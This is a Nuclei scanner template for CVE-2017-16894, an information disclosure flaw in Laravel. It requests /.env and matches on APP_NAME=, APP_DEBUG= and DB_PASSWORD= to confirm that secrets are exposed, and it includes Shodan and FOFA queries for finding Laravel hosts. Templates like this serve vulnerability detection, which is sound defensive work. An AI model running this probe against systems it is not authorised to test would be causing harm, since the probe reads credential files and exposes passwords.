57 lines
2.0 KiB
YAML
57 lines
2.0 KiB
YAML
id: CVE-2017-16894
|
|
|
|
info:
|
|
name: Laravel <5.5.21 - Information Disclosure
|
|
author: j4vaovo
|
|
severity: high
|
|
description: |
|
|
Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.
|
|
remediation: |
|
|
Upgrade Laravel to version 5.5.21 or higher to fix the information disclosure vulnerability.
|
|
reference:
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16894
|
|
- https://packetstormsecurity.com/files/cve/CVE-2017-16894
|
|
- http://whiteboyz.xyz/laravel-env-file-vuln.html
|
|
- https://twitter.com/finnwea/status/967709791442341888
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2017-16894
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2017-16894
|
|
cwe-id: CWE-200
|
|
epss-score: 0.29151
|
|
epss-percentile: 0.96344
|
|
cpe: cpe:2.3:a:laravel:laravel:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: laravel
|
|
product: laravel
|
|
shodan-query: Laravel-Framework
|
|
fofa-query: app="Laravel-Framework"
|
|
tags: cve2017,laravel,exposure,packetstorm,cve
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/.env"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "APP_NAME="
|
|
- "APP_DEBUG="
|
|
- "DB_PASSWORD="
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/octet-stream"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022036cfe9c6bf40ae52da3f52f2f88db230bff64a9b8949393dd55e714b982d32df022100b5b3c07c9c8e9b4c430b9a86fb7ac6259506e4e78d6618b21a02b5fde6aaec94:922c64590222798bb761d5b6d8e72950 |